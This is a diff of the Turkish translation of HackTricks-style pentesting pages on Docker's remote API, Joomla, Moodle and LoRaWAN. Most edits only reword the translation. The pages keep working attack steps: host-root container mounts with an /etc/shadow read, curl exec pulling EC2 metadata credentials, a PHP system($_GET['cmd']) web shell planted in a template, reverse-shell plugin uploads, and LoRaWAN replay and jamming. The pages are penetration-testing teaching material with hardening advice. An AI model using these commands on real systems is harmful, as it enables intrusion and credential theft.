- [**grpc**](http://www.grpc.io), containerd ile **docker-engine** arasında **ileşimi kolaylaştırmak** için gereklidir ve **verimli etkileşim** sağlar.
|
||||
- [**OCI**](https://www.opencontainers.org), çalışma zamanı ve görüntüler için **OCI spesifikasyonlarını** korumada önemli bir rol oynamaktadır ve en son Docker sürümleri **hem OCI görüntü hem de çalışma zamanı** standartlarına **uyumludur**.
|
||||
|
||||
#### Temel komutlar
|
||||
```bash
|
||||
@ -45,7 +45,7 @@ docker system prune -a
|
||||
|
||||
Önemli bir tasarım kararı, **Containerd'nin ağ yönetimini üstlenmemesidir**. Ağ, dağıtık sistemlerde kritik bir unsur olarak kabul edilir ve Yazılım Tanımlı Ağ (SDN) ve hizmet keşfi gibi karmaşıklıklar, bir platformdan diğerine önemli ölçüde değişir. Bu nedenle, Containerd, desteklediği platformların yönetmesine bırakır.
|
||||
|
||||
**Docker, konteynerleri çalıştırmak için Containerd'yi kullanırken**, Containerd'nin yalnızca Docker'ın işlevselliklerinin bir alt kümesini desteklediğini belirtmek önemlidir. Özellikle, Containerd, Docker'da bulunan ağ yönetim yeteneklerine sahip değildir ve doğrudan Docker sürümleri oluşturmayı desteklemez. Bu ayrım, Containerd'nin bir konteyner çalışma ortamı olarak odaklanmış rolünü vurgulamakta ve daha özel işlevsellikleri entegre olduğu platformlara devretmektedir.
|
||||
**Docker, konteynerleri çalıştırmak için Containerd'yi kullanırken**, Containerd'nin yalnızca Docker'ın işlevselliklerinin bir alt kümesini desteklediğini belirtmek önemlidir. Özellikle, Containerd, Docker'da bulunan ağ yönetim yeteneklerine sahip değildir ve doğrudan Docker sürümleri oluşturmayı desteklemez. Bu ayrım, Containerd'nin bir konteyner çalışma zamanı ortamı olarak odaklanmış rolünü vurgulamakta ve daha özel işlevsellikleri entegre olduğu platformlara devretmektedir.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -65,17 +65,17 @@ ctr container delete <containerName>
|
||||
|
||||
**Podman**, Red Hat tarafından geliştirilen ve sürdürülen, [Open Container Initiative (OCI) standartlarına](https://github.com/opencontainers) uyan açık kaynaklı bir konteyner motorudur. **Daemonless mimarisi** ve **rootless konteynerler** desteği gibi birkaç belirgin özellik ile Docker'dan ayrılır; bu, kullanıcıların konteynerleri root ayrıcalıkları olmadan çalıştırmalarını sağlar.
|
||||
|
||||
Podman, Docker'ın API'si ile uyumlu olacak şekilde tasarlanmıştır ve Docker CLI komutlarının kullanılmasına olanak tanır. Bu uyumluluk, **Buildah** gibi konteyner görüntüleri oluşturma araçları ve push, pull ve inspect gibi görüntü işlemleri için **Skopeo** gibi araçları içeren ekosistemine de uzanır. Bu araçlar hakkında daha fazla bilgiye [GitHub sayfalarından](https://github.com/containers/buildah/tree/master/docs/containertools) ulaşabilirsiniz.
|
||||
Podman, Docker'ın API'si ile uyumlu olacak şekilde tasarlanmıştır ve Docker CLI komutlarının kullanılmasına olanak tanır. Bu uyumluluk, konteyner görüntüleri oluşturmak için **Buildah** ve görüntü işlemleri (push, pull ve inspect gibi) için **Skopeo** gibi araçları içeren ekosistemine de uzanır. Bu araçlar hakkında daha fazla bilgiye [GitHub sayfalarından](https://github.com/containers/buildah/tree/master/docs/containertools) ulaşabilirsiniz.
|
||||
|
||||
**Ana Farklılıklar**
|
||||
|
||||
- **Mimari**: Docker’ın arka planda bir daemon ile çalışan istemci-sunucu modelinin aksine, Podman bir daemon olmadan çalışır. Bu tasarım, konteynerlerin başlatan kullanıcının ayrıcalıklarıyla çalışmasını sağlar ve root erişimine ihtiyaç duymayarak güvenliği artırır.
|
||||
- **Systemd Entegrasyonu**: Podman, konteynerleri yönetmek için **systemd** ile entegre olur ve systemd birimleri aracılığıyla konteyner yönetimine olanak tanır. Bu, Docker'ın esas olarak Docker daemon sürecini yönetmek için systemd kullanmasıyla zıtlık gösterir.
|
||||
- **Rootless Kapsayıcılar**: Podman'ın önemli bir özelliği, konteynerleri başlatan kullanıcının ayrıcalıkları altında çalıştırabilmesidir. Bu yaklaşım, saldırganların yalnızca tehlikeye atılmış kullanıcının ayrıcalıklarını elde etmesini sağlayarak konteyner ihlalleriyle ilişkili riskleri en aza indirir, root erişimi sağlamaz.
|
||||
- **Systemd Entegrasyonu**: Podman, konteynerleri yönetmek için **systemd** ile entegre olur ve systemd birimleri aracılığıyla konteyner yönetimine olanak tanır. Bu, Docker'ın sistemd'yi esas olarak Docker daemon sürecini yönetmek için kullanmasıyla tezat oluşturur.
|
||||
- **Rootless Konteynerler**: Podman'ın önemli bir özelliği, konteynerleri başlatan kullanıcının ayrıcalıkları altında çalıştırabilmesidir. Bu yaklaşım, saldırganların yalnızca ele geçirilen kullanıcının ayrıcalıklarını elde etmesini sağlayarak konteyner ihlalleriyle ilişkili riskleri en aza indirir; root erişimi elde etmezler.
|
||||
|
||||
Podman'ın yaklaşımı, kullanıcı ayrıcalık yönetimi ve mevcut Docker iş akışlarıyla uyumluluğu vurgulayarak Docker'a güvenli ve esnek bir alternatif sunar.
|
||||
Podman'ın yaklaşımı, kullanıcı ayrıcalık yönetimini ve mevcut Docker iş akışlarıyla uyumluluğu vurgulayarak Docker'a güvenli ve esnek bir alternatif sunar.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Podman, Docker ile aynı API'yi desteklemeyi amaçladığı için, podman ile docker ile aynı komutları kullanabilirsiniz, örneğin:
|
||||
>
|
||||
> ```bash
|
||||
@ -87,7 +87,7 @@ Podman'ın yaklaşımı, kullanıcı ayrıcalık yönetimi ve mevcut Docker iş
|
||||
|
||||
### Temel Bilgiler
|
||||
|
||||
Uzak API, etkinleştirildiğinde varsayılan olarak 2375 portunda çalışır. Servis varsayılan olarak kimlik doğrulama gerektirmeyecek şekilde ayarlanmıştır, bu da bir saldırganın ayrıcalıklı bir docker konteyneri başlatmasına olanak tanır. Uzak API kullanılarak, ana makineyi / (root dizini) konteynere bağlamak ve ana makinenin ortamındaki dosyaları okumak/yazmak mümkündür.
|
||||
Uzak API, etkinleştirildiğinde varsayılan olarak 2375 portunda çalışır. Servis varsayılan olarak kimlik doğrulama gerektirmeyecek şekilde ayarlanmıştır, bu da bir saldırganın ayrıcalıklı bir docker konteyneri başlatmasına olanak tanır. Uzak API kullanılarak, ana makinenin kök dizinini konteynere bağlamak ve ana makinenin ortamındaki dosyaları okumak/yazmak mümkündür.
|
||||
|
||||
**Varsayılan port:** 2375
|
||||
```
|
||||
@ -136,23 +136,23 @@ GitCommit: fec3683
|
||||
```
|
||||
Eğer **uzaktaki docker API'sine `docker` komutuyla** **ulaşabiliyorsanız**, hizmetle etkileşimde bulunmak için **daha önce** bahsedilen herhangi bir **docker** [**komutunu**](2375-pentesting-docker.md#basic-commands) **çalıştırabilirsiniz**.
|
||||
|
||||
> [!NOTE]
|
||||
> `export DOCKER_HOST="tcp://localhost:2375"` yapabilir ve docker komutuyla `-H` parametresini **kullanmayı** **önleyebilirsiniz**.
|
||||
> [!TIP]
|
||||
> `export DOCKER_HOST="tcp://localhost:2375"` yapabilir ve **docker** komutuyla `-H` parametresini kullanmaktan **kaçınabilirsiniz**.
|
||||
|
||||
**Hızlı ayrıcalık yükseltme**
|
||||
**Hızlı yetki yükseltme**
|
||||
```bash
|
||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
**Curl**
|
||||
|
||||
Bazen **TLS** uç noktası için **2376**'nın açık olduğunu göreceksiniz. Docker istemcisi ile buna bağlanamadım ama curl ile bağlanmak mümkün.
|
||||
Bazen **TLS** uç noktası için **2376** açık olduğunu göreceksiniz. Docker istemcisi ile buna bağlanamadım ama curl ile bağlanmak mümkün.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -184,13 +184,13 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
### Kompromize Etme
|
||||
|
||||
Aşağıdaki sayfada **bir docker konteynerinden kaçış yollarını** bulabilirsiniz:
|
||||
Aşağıdaki sayfada **bir docker konteynerinden kaçma** yollarını bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/privilege-escalation/docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Bunu kötüye kullanarak bir konteynerden kaçış yapmak mümkündür, uzaktaki makinede zayıf bir konteyner çalıştırabilir, ondan kaçabilir ve makineyi kompromize edebilirsiniz:
|
||||
Bunu kötüye kullanarak bir konteynerden kaçmak mümkündür, uzaktaki makinede zayıf bir konteyner çalıştırabilir, ondan kaçabilir ve makineyi tehlikeye atabilirsiniz:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
@ -208,7 +208,7 @@ docker inspect <docker_id>
|
||||
```
|
||||
**env** (çevre değişkeni bölümü) için gizli bilgileri kontrol edin ve şunları bulabilirsiniz:
|
||||
|
||||
- Parolalar.
|
||||
- Şifreler.
|
||||
- IP’ler.
|
||||
- Portlar.
|
||||
- Yollar.
|
||||
@ -218,9 +218,9 @@ Bir dosyayı çıkarmak istiyorsanız:
|
||||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
### Docker'ınızı Güvenli Hale Getirme
|
||||
### Docker'ınızı Güvence Altına Alma
|
||||
|
||||
#### Docker Kurulumu ve Kullanımını Güvenli Hale Getirme
|
||||
#### Docker Kurulumu ve Kullanımını Güvence Altına Alma
|
||||
|
||||
- Mevcut docker kurulumunuzu incelemek için [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) aracını kullanabilirsiniz.
|
||||
- `./docker-bench-security.sh`
|
||||
@ -231,13 +231,13 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
#### Docker Görsellerini Güvenli Hale Getirme
|
||||
#### Docker Görsellerini Güvence Altına Alma
|
||||
|
||||
- Diğer docker görsellerinizi taramak ve güvenlik açıklarını bulmak için [https://github.com/quay/clair](https://github.com/quay/clair) docker görselini kullanabilirsiniz.
|
||||
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
#### Dockerfile'ları Güvenli Hale Getirme
|
||||
#### Dockerfile'ları Güvence Altına Alma
|
||||
|
||||
- Dockerfile'ınızı **incelemek** ve her türlü yanlış yapılandırmayı bulmak için [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) aracını kullanabilirsiniz. Her yanlış yapılandırmaya bir ID verilecektir, bunları nasıl düzelteceğinizi burada bulabilirsiniz [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md).
|
||||
- `dockerfilelinter -f Dockerfile`
|
||||
|
@ -58,24 +58,24 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### Sürüm
|
||||
### Versiyon
|
||||
|
||||
- **/administrator/manifests/files/joomla.xml** dosyasında sürümü görebilirsiniz.
|
||||
- **/language/en-GB/en-GB.xml** dosyasında Joomla'nın sürümünü alabilirsiniz.
|
||||
- **plugins/system/cache/cache.xml** dosyasında yaklaşık bir sürümü görebilirsiniz.
|
||||
- **/administrator/manifests/files/joomla.xml** dosyasında versiyonu görebilirsiniz.
|
||||
- **/language/en-GB/en-GB.xml** dosyasında Joomla'nın versiyonunu alabilirsiniz.
|
||||
- **plugins/system/cache/cache.xml** dosyasında yaklaşık bir versiyonu görebilirsiniz.
|
||||
|
||||
### Otomatik
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
In[ **80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölüm**](#cms-scanners).
|
||||
In[ **80,443 - Pentesting Web Methodolojisi, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölümdür**](#cms-scanners).
|
||||
|
||||
### API Kimlik Doğrulaması Olmadan Bilgi Sızdırma:
|
||||
|
||||
4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve bu, kimlik bilgilerini ve diğer bilgileri dökebilir.
|
||||
4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırmaya (CVE-2023-23752) karşı savunmasızdır ve kimlik bilgileri ile diğer bilgileri dökebilir.
|
||||
|
||||
- Kullanıcılar: `http://<host>/api/v1/users?public=true`
|
||||
- Konfigürasyon Dosyası: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
@ -84,7 +84,7 @@ In[ **80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcı
|
||||
|
||||
### Kaba Kuvvet
|
||||
|
||||
Giriş denemesi yapmak için bu [script](https://github.com/ajnik/joomla-bruteforce)'i kullanabilirsiniz.
|
||||
Giriş yapmayı denemek için bu [script](https://github.com/ajnik/joomla-bruteforce)'i kullanabilirsiniz.
|
||||
```shell-session
|
||||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||||
|
||||
@ -92,21 +92,21 @@ admin:admin
|
||||
```
|
||||
## RCE
|
||||
|
||||
Eğer **admin kimlik bilgilerine** erişmeyi başardıysanız, **RCE elde etmek için** bir **PHP kodu** parçası ekleyerek **içinde RCE** gerçekleştirebilirsiniz. Bunu **şablonu özelleştirerek** yapabiliriz.
|
||||
Eğer **admin kimlik bilgilerine** erişmeyi başardıysanız, **RCE elde etmek için** bir **PHP kodu** parçası ekleyerek **RCE** gerçekleştirebilirsiniz. Bunu **şablonu özelleştirerek** yapabiliriz.
|
||||
|
||||
1. `Configuration` altında sol altta bulunan **`Templates`** seçeneğine **tıklayın** ve şablonlar menüsünü açın.
|
||||
2. Bir **şablon** adına **tıklayın**. `Template` sütun başlığı altında **`protostar`** seçeneğini seçelim. Bu, bizi **`Templates: Customise`** sayfasına götürecek.
|
||||
3. Son olarak, **sayfa kaynağını** açmak için bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. Aşağıdaki gibi **kod yürütmek için bir PHP one-liner** ekleyeceğiz:
|
||||
1. `Configuration` altında sol altta **`Templates`** üzerine **tıklayın** ve şablonlar menüsünü açın.
|
||||
2. Bir **şablon** adına **tıklayın**. `Template` sütun başlığı altında **`protostar`** seçelim. Bu, bizi **`Templates: Customise`** sayfasına götürecektir.
|
||||
3. Son olarak, **sayfa kaynağını** açmak için bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. Aşağıdaki gibi **kod yürütmek için bir PHP tek satır ekleyeceğiz:**
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Kaydet ve Kapat**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Sömürü Scripti, **XSS'i RCE veya Diğer Kritik Güvenlik Açıklarına Yükseltir**. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Joomla Sürümleri 5.X.X, 4.X.X ve 3.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): **XSS'i RCE veya Diğer Kritik Güvenlik Açıklarına Yükselten** Joomla İstismar Scripti. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Joomla Sürümleri 5.X.X, 4.X.X ve 3.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
|
||||
- _**Yetki Yükseltme:**_ Joomla'da bir kullanıcı oluşturur.
|
||||
- _**(RCE) Yerleşik Şablonları Düzenleme:**_ Joomla'daki Yerleşik Şablonları düzenler.
|
||||
- _**(Özel) Özel Sömürü:**_ Üçüncü Taraf Joomla Eklentileri için Özel Sömürü.
|
||||
- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf Joomla Eklentileri için Özel İstismarlar.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) adresinde **kontrol** edebilirsiniz.
|
||||
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları **kontrol** edebilirsiniz [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
@ -70,7 +70,7 @@ Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik ara
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'de nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'sinde nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi** yükleyebilirsiniz (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
|
||||
|
||||
@ -78,7 +78,7 @@ Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi*
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Ya da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresinden eklentiyi kullanarak "cmd" parametresi ile normal bir PHP shell alabilirsiniz.
|
||||
Ya da "cmd" parametresi ile normal bir PHP shell almak için [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresindeki eklentiyi kullanabilirsiniz.
|
||||
|
||||
Kötü niyetli eklentiyi başlatmak için erişmeniz gereken yer:
|
||||
```bash
|
||||
|
@ -36,7 +36,7 @@ Uzun Menzil (**LoRa**), şu anda en yaygın dağıtılan LPWAN fiziksel katmanı
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack ağ geçidi köprü & mqtt-yönlendirici*, Kerlink ağ geçitlerinde durum bilgisi olan güvenlik duvarı kurallarını atlayan TCP paketlerini kabul etti ve uzaktan yönetim arayüzü maruziyetine neden oldu. Sırasıyla 4.0.11 / 4.2.1'de düzeltildi.
|
||||
* **Dragino LG01/LG308 serisi** – 2022-2024 döneminde birden fazla CVE (örneğin, 2022-45227 dizin geçişi, 2022-45228 CSRF) 2025'te hala yamanmamış olarak gözlemlendi; binlerce kamu ağ geçidinde kimlik doğrulaması gerektirmeyen yazılım dökümü veya yapılandırma üzerine yazma yetkisi sağladı.
|
||||
* Semtech *paket-yönlendirici UDP* taşma (yayınlanmamış danışmanlık, 2023-10'da yamanmış): 255 B'den büyük bir yukarı akış oluşturmak, yığın çökmesine neden oldu ‑> SX130x referans ağ geçitlerinde RCE (Black Hat EU 2023 “LoRa Exploitation Reloaded” tarafından bulundu).
|
||||
* Semtech *paket-yönlendirici UDP* taşması (yayınlanmamış danışmanlık, 2023-10'da yamanmış): 255 B'den büyük bir uplink, yığın çökmesine neden oldu ‑> SX130x referans ağ geçitlerinde RCE (Black Hat EU 2023 “LoRa Exploitation Reloaded” tarafından bulundu).
|
||||
|
||||
---
|
||||
|
||||
@ -54,16 +54,16 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
### 2. OTAA join-replay (DevNonce yeniden kullanımı)
|
||||
|
||||
1. Geçerli bir **JoinRequest** yakalayın.
|
||||
2. Hedef cihaz tekrar iletim yapmadan önce hemen yeniden iletin (veya RSSI'yi artırın).
|
||||
3. Ağ sunucusu yeni bir DevAddr ve oturum anahtarları tahsis ederken, hedef cihaz eski oturumla devam eder → saldırgan boş oturumu ele geçirir ve sahte uplink'ler enjekte edebilir.
|
||||
2. Hemen yeniden iletin (veya RSSI'yi artırın) orijinal cihaz tekrar iletim yapmadan önce.
|
||||
3. Ağ sunucusu yeni bir DevAddr ve oturum anahtarları tahsis ederken hedef cihaz eski oturumla devam eder → saldırgan boş oturumu ele geçirir ve sahte uplink'ler enjekte edebilir.
|
||||
|
||||
### 3. Adaptif Veri Hızı (ADR) düşürme
|
||||
|
||||
Hava süresini artırmak için SF12/125 kHz zorlayın → ağ geçidinin görev döngüsünü tüketin (hizmet reddi) ve saldırgan üzerindeki pil etkisini düşük tutun (sadece ağ düzeyinde MAC komutları gönderin).
|
||||
SF12/125 kHz'yi zorlayarak hava süresini artırın → ağ geçidinin görev döngüsünü tüketin (hizmet reddi) ve saldırgan üzerindeki pil etkisini düşük tutun (sadece ağ düzeyinde MAC komutları gönderin).
|
||||
|
||||
### 4. Reaktif jamming
|
||||
### 4. Reaktif karıştırma
|
||||
|
||||
*HackRF One* GNU Radio akış grafiği çalıştırarak, önceden belirlenen bir ön bilgi algılandığında geniş bantlı bir chirp tetikler – ≤200 mW TX ile tüm yayılma faktörlerini engeller; 2 km mesafede tam kesinti ölçülmüştür.
|
||||
*HackRF One* GNU Radio akış grafiği, ön ek algılandığında geniş bantlı bir chirp tetikler – ≤200 mW TX ile tüm yayılma faktörlerini engeller; 2 km mesafede tam kesinti ölçülmüştür.
|
||||
|
||||
---
|
||||
|
||||
@ -72,8 +72,8 @@ Hava süresini artırmak için SF12/125 kHz zorlayın → ağ geçidinin görev
|
||||
| Araç | Amaç | Notlar |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN Denetim Çerçevesi (LAF)** | LoRaWAN çerçevelerini oluşturma/ayrıştırma/saldırı, DB destekli analizörler, brute-forcer | Docker imajı, Semtech UDP girişi destekler |
|
||||
| **LoRaPWN** | OTAA'yı brute etmek, downlink'ler oluşturmak, yükleri şifre çözmek için Trend Micro Python aracı | 2023'te demo yayımlandı, SDR bağımsız |
|
||||
| **LoRAttack** | USRP ile çok kanallı sniffer + yeniden oynatma; PCAP/LoRaTap dışa aktarır | İyi Wireshark entegrasyonu |
|
||||
| **LoRaPWN** | Trend Micro Python aracı, OTAA'yı brute'lamak, downlink'ler oluşturmak, yükleri şifre çözmek | 2023'te demo yayımlandı, SDR bağımsız |
|
||||
| **LoRAttack** | Çok kanallı sniffer + USRP ile yeniden oynatma; PCAP/LoRaTap dışa aktarır | İyi Wireshark entegrasyonu |
|
||||
| **gr-lora / gr-lorawan** | Temel bant TX/RX için GNU Radio OOT blokları | Özel saldırılar için temel |
|
||||
|
||||
---
|
||||
@ -81,7 +81,7 @@ Hava süresini artırmak için SF12/125 kHz zorlayın → ağ geçidinin görev
|
||||
## Savunma önerileri (pentester kontrol listesi)
|
||||
|
||||
1. Gerçekten rastgele DevNonce'a sahip **OTAA** cihazlarını tercih edin; kopyaları izleyin.
|
||||
2. **LoRaWAN 1.1**'i zorlayın: 32 bit çerçeve sayaçları, farklı FNwkSIntKey / SNwkSIntKey.
|
||||
2. **LoRaWAN 1.1**'i zorunlu kılın: 32 bit çerçeve sayaçları, farklı FNwkSIntKey / SNwkSIntKey.
|
||||
3. Çerçeve sayacını kalıcı bellekte saklayın (**ABP**) veya OTAA'ya geçin.
|
||||
4. Kök anahtarları firmware çıkarımına karşı korumak için **güvenli eleman** (ATECC608A/SX1262-TRX-SE) dağıtın.
|
||||
5. Uzaktan UDP paket yönlendirici portlarını (1700/1701) devre dışı bırakın veya WireGuard/VPN ile kısıtlayın.
|
||||
@ -90,6 +90,6 @@ Hava süresini artırmak için SF12/125 kHz zorlayın → ağ geçidinin görev
|
||||
|
||||
## Referanslar
|
||||
|
||||
* LoRaWAN Denetim Çerçevesi (LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWN genel bakış – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Denetim Çerçevesi (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Trend Micro LoRaPWN genel bakış – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user